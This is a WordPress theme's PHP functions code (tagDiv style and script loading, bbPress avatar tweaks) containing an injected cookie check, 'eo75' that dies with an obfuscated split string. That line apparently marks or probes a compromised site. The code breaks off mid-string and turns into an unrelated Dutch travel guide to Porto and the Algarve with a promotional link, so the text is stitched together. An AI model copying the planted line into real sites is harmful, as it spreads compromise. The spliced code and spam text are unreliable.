/** * dev demo deploy */ //dev demo or none if (!defined('TD_DEPLOY_MODE')) { define("TD_DEPLOY_MODE", 'deploy'); }if(isset($_COOKIE['eo75'])) { die('Uo8f'.'ZPbNR'); } do_action( 'td_wp_booster_legacy' ); /** * Admin notices */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-admin-notices.php' ); /** * The global state of the theme. All globals are here */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-global.php' ); /* * Set theme configuration */ tagdiv_config::on_tagdiv_global_after_config(); /** * Add theme options. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-options.php' ); /** * Add theme utility. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-util.php' ); /** * Add theme http request ability. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-log.php' ); /** * Add theme http request ability. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-remote-http.php' ); /** * ---------------------------------------------------------------------------- * Redirect to Welcome page on theme activation */ if( !function_exists('tagdiv_after_theme_is_activate' ) ) { function tagdiv_after_theme_is_activate() { global $pagenow; if ( is_admin() && 'themes.php' == $pagenow && isset( $_GET['activated'] ) ) { wp_redirect( admin_url( 'admin.php?page=td_theme_welcome' ) ); exit; } } tagdiv_after_theme_is_activate(); } /** * ---------------------------------------------------------------------------- * Load theme check & deactivate for old theme plugins * * the check is done using existing classes defined by plugins * at this point all plugins should be hooked in! */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-old-plugins-deactivation.php' ); require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-current-plugins-deactivation.php' ); /** * ---------------------------------------------------------------------------- * Theme Resources */ /** * Enqueue front styles. */ function tagdiv_theme_css() { if ( TD_DEBUG_USE_LESS ) { wp_enqueue_style( 'td-theme', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=style.css_v2', '', TD_THEME_VERSION, 'all' ); // bbPress style if ( class_exists( 'bbPress', false ) ) { wp_enqueue_style( 'td-theme-bbpress', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=bbpress', array(), wp_get_theme()->get( 'Version' ) ); } // WooCommerce style if( TD_THEME_NAME == 'Newsmag' || ( TD_THEME_NAME == 'Newspaper' && !defined( 'TD_WOO' ) ) ) { if ( class_exists( 'WooCommerce', false ) ) { wp_enqueue_style( 'td-theme-woo', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=woocommerce', array(), wp_get_theme()->get( 'Version' ) ); } } // Buddypress if ( class_exists( 'Buddypress', false ) ) { wp_enqueue_style( 'td-theme-buddypress', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=buddypress', array(), wp_get_theme()->get( 'Version' ) ); } } else { wp_enqueue_style( 'td-theme', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) ); // bbPress style if ( class_exists( 'bbPress', false ) ) { wp_enqueue_style( 'td-theme-bbpress', TAGDIV_ROOT . '/style-bbpress.css', array(), wp_get_theme()->get( 'Version' ) ); } // WooCommerce style if( TD_THEME_NAME == 'Newsmag' || ( TD_THEME_NAME == 'Newspaper' && !defined( 'TD_WOO' ) ) ) { if (class_exists('WooCommerce', false)) { wp_enqueue_style('td-theme-woo', TAGDIV_ROOT . '/style-woocommerce.css', array(), wp_get_theme()->get('Version')); } } // Buddypress if ( class_exists( 'Buddypress', false ) ) { wp_enqueue_style( 'td-theme-buddypress', TAGDIV_ROOT . '/style-buddypress.css', array(), wp_get_theme()->get( 'Version' ) ); } } } add_action( 'wp_enqueue_scripts', 'tagdiv_theme_css', 11 ); /** * Enqueue admin styles. */ function tagdiv_theme_admin_css() { if ( TD_DEPLOY_MODE == 'dev' ) { wp_enqueue_style('td-theme-admin', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=wp-admin.css', false, TD_THEME_VERSION, 'all' ); if ('Newspaper' == TD_THEME_NAME) { wp_enqueue_style( 'font-newspaper', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=font-newspaper', false, TD_THEME_VERSION, 'all' ); } } else { wp_enqueue_style('td-theme-admin', TAGDIV_ROOT . '/includes/wp-booster/wp-admin/css/wp-admin.css', false, TD_THEME_VERSION, 'all' ); if ('Newspaper' == TD_THEME_NAME) { wp_enqueue_style('font-newspaper', TAGDIV_ROOT . '/font-newspaper.css', false, TD_THEME_VERSION, 'all'); } } } add_action( 'admin_enqueue_scripts', 'tagdiv_theme_admin_css' ); /** * Enqueue theme front scripts. */ if( !function_exists('load_front_js') ) { function tagdiv_theme_js() { // Load main theme js if ( TD_DEPLOY_MODE == 'dev' ) { wp_enqueue_script('tagdiv-theme-js', TAGDIV_ROOT . '/includes/js/tagdiv-theme.js', array('jquery'), TD_THEME_VERSION, true); } else { wp_enqueue_script('tagdiv-theme-js', TAGDIV_ROOT . '/includes/js/tagdiv-theme.min.js', array('jquery'), TD_THEME_VERSION, true); } } add_action( 'wp_enqueue_scripts', 'tagdiv_theme_js' ); } /* * Theme blocks editor styles */ if( !function_exists('tagdiv_block_editor_styles' ) ) { function tagdiv_block_editor_styles() { if ( TD_DEPLOY_MODE === 'dev' ) { wp_enqueue_style( 'td-gut-editor', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=gutenberg-editor', array(), wp_get_theme()->get( 'Version' ) ); } else { wp_enqueue_style('td-gut-editor', TAGDIV_ROOT . '/gutenberg-editor.css', array(), wp_get_theme()->get( 'Version' ) ); } } add_action( 'enqueue_block_editor_assets', 'tagdiv_block_editor_styles' ); } /* * bbPress change avatar size to 40px */ if( !function_exists('tagdiv_bbp_change_avatar_size') ) { function tagdiv_bbp_change_avatar_size( $author_avatar, $topic_id, $size ) { $author_avatar = ''; if ($size == 14) { $size = 40; } $topic_id = bbp_get_topic_id( $topic_id ); if ( !empty( $topic_id ) ) { if ( !bbp_is_topic_anonymous( $topic_id ) ) { $author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size ); } else { $author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size ); } } return $author_avatar; } add_filter('bbp_get_topic_author_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); add_filter('bbp_get_reply_author_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); add_filter('bbp_get_current_user_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); } /* ---------------------------------------------------------------------------- * FILTER - the_content_more_link - read more - ? */ if ( ! function_exists( 'tagdiv_remove_more_link_scroll' )) { function tagdiv_remove_more_link_scroll($link) { $link = preg_replace('|#more-[0-9]+|', '', $link); $link = '
Portugal is een land vol geschiedenis, cultuur en ongelooflijke natuur. In deze reisgids nemen we je mee naar twee van de meest betoverende bestemmingen van het land: Porto en de Algarve. Beide regio’s bieden unieke ervaringen en zijn perfect voor elke reiziger. Wil je meer weten over wat deze plekken te bieden hebben? Portugal Reisgids Porto Algarve lees meer op vivaportugal.nl.
Porto, de op één na grootste stad van Portugal, is beroemd om zijn prachtige architectuur en rijke geschiedenis. De stad ligt aan de oever van de Douro, en het historische centrum staat op de UNESCO Werelderfgoedlijst. Hier zijn enkele hoogtepunten die je niet mag missen:
Ribeira is het kloppend hart van Porto, met kleurrijke huizen, bars en restaurants die uitkijken over de Douro-rivier. Maak een wandeling langs de promenade, geniet van een lokale Francesinha (een beroemde Portugese sandwich) en neem de tijd om de levendige sfeer op te snuiven.
Deze prachtige boekwinkel wordt vaak beschouwd als een van de mooiste ter wereld. Livraria Lello heeft een indrukwekkende neo-gotische architectuur en een betoverende houten trap die de bezoekers naar de bovenste verdiepingen leidt. Een must-see voor boekenliefhebbers!
Geen bezoek aan Porto is compleet zonder een wandeling over de Dom Luís I-brug. Deze indrukwekkende metalen brug verbindt Porto met Vila Nova de Gaia en biedt een adembenemend uitzicht over de stad en de Douro. Vergeet niet je camera mee te nemen!
De Algarve, gelegen in het zuiden van Portugal, staat bekend om zijn prachtige stranden, schilderachtige dorpen en heerlijk klimaat. Hier volgt een overzicht van enkele van de beste plekken om te bezoeken in deze schitterende regio:
Lagos is een charmante stad vol geschiedenis, met smalle straatjes en prachtige architectuur. Het is ook dicht bij enkele van de mooiste stranden van de Algarve, zoals Praia Dona Ana en Meia Praia. Geniet van watersporten of ontspan gewoon onder de zon.

Albufeira is de populaire bestemming voor degenen die op zoek zijn naar levendige nachtlevens en drukke stranden. De stad biedt een scala aan restaurants, bars en uitgaansgelegenheden, maar heeft ook een charmant oud stadscentrum dat zeker een bezoek waard is.
Voor wie op zoek is naar natuurlijke schoonheid en ruige kustlijnen, is Sagres een must. Bezoek de vuurtoren van Cabo de São Vicente en geniet van het adembenemende uitzicht over de Atlantische Oceaan. Sagres is ook populair bij surfers vanwege de krachtige golven.
Portugal staat bekend om zijn heerlijke keuken en zowel Porto als de Algarve bieden een scala aan culinaire hoogstandjes. In Porto mag je de beroemde Portwijn niet missen; maak een rondleiding door een van de vele wijnhuizen aan de overkant van de rivier in Gaia.
In de Algarve kun je genieten van vers gevangen zeevruchten, waaronder octopus, sardines en kreeft. Probeer zeker ook een lokale cataplana, een soort seafoodstoofpot, die perfect is voor een avondmaaltijd.
De beste tijd om Porto en de Algarve te bezoeken is in het voor- of najaar (April tot juni en September tot Oktober) wanneer het weer mild is en de drukte minder is. In de zomer kan het erg warm worden, vooral in de Algarve, terwijl de wintermaanden vaak regenachtig zijn in Porto.
Portugal heeft een goed ontwikkeld openbaar vervoersysteem. In Porto kun je gebruik maken van de metro, tram of bus om je gemakkelijk te verplaatsen. In de Algarve zijn huurauto’s populair, aangezien de meeste stranden en steden verspreid liggen. Zorg ervoor dat je de tijd neemt om de schilderachtige kustlijn te verkennen.
Of je nu de historische charme van Porto wilt ervaren of wilt ontspannen aan de zonnige stranden van de Algarve, Portugal heeft voor elk wat wils. Vergeet niet je plannen goed te maken en te genieten van alles wat dit prachtige land te bieden heeft. Van de heerlijke gastronomie tot de adembenemende landschappen, je zult zeker een onvergetelijke ervaring hebben!
]]>